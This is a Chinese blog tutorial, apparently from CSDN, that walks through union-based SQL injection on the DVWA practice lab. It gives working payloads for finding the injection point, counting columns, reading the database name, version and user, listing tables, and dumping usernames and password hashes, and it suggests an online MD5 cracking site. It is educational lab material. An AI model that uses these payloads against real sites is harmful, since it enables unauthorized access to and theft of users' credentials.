union注入攻击之dvwa靶场实战演练(union秒懂教程)

本文详细介绍了SQL注入攻击的原理和步骤,通过DVWA靶场进行实践操作,展示了如何判断字符型注入点、确定数据库字段数、输出位置、获取数据库名、用户名和版本信息,以及查询表名和列名。同时提到了在查询过程中可能遇到的错误及解决办法,并推荐了一个MD5解密平台。
摘要由CSDN通过智能技术生成

第一步,我们来分析是否存在字符型注入点:

1、id=1 返回正常。

2、id=1' 返回错误

3、id=1 and 1=1 “1=1” 为真返回正常

4、id=1 and 1=2 “1=2”为假返回错误。

测试符合这四个条件,证明该位置存在字符型注入点漏洞。

//原理分析:

因为字符型的注入点不同于数字型  数字型注入点 后台的php传参点格式为  id=$  

字符型则为  'id=$'   有两个引号  

下面以dvwa靶场进行实验演示

我们输入1'#    来使'id=$'前边的引号闭合并且用#注释掉后边的引号 ,因此返回正常。 

我们输入 1' 使前边的引号闭合 但不输入#  此时后台执行的语句为  id='1''  1后边两个引号此时会发生报错:

有此原理我们可以构造 1' or '1'='1

此时后台语句为   id='1' or '1'='1'  都为真,因此可以可以得出所有的用户信息:

 //!!!!!

 

第二步,判断字符数:

使用1' order by 1# 返回正常

1' order by 2# 返回正常

1' order by 3# 返回错误

得到此处的数据库字段数为2

第三步,判断其输出位置

1' union select 1,2, #

第四步,获取所有数据库名:

利用union方式查看数据库名称并查看数据库版本

1' union select database(),version()#

查看用户名和数据库名:

1' union select user(),database()

 

 

得到数据库名称为”dvwa"    用户名为“root@localhost”      数据库版本为“5.7.26”

第五步,查看dvwa数据库中的表名:

利用union方式查看

1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

第六步查询列名:

猜测需要的信息在users中

因此直接查询users 

 最后一步!查看字段:

因为发现了列中有 user和password

因此直接查询这两个字段名

得到最后字段,但是经过加密。

在这里分享一个很不错的解密平台:md5在线查询破解,md5解密加密icon-default.png?t=M3C8https://md5.cc/

新手学习心得,中间遇得到查询表名时可能会遇到 Illegal mix of collations for operation “UNION”

的报错信息,这时候我们需要将union字符段左右的字符规则改变一致,即可

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值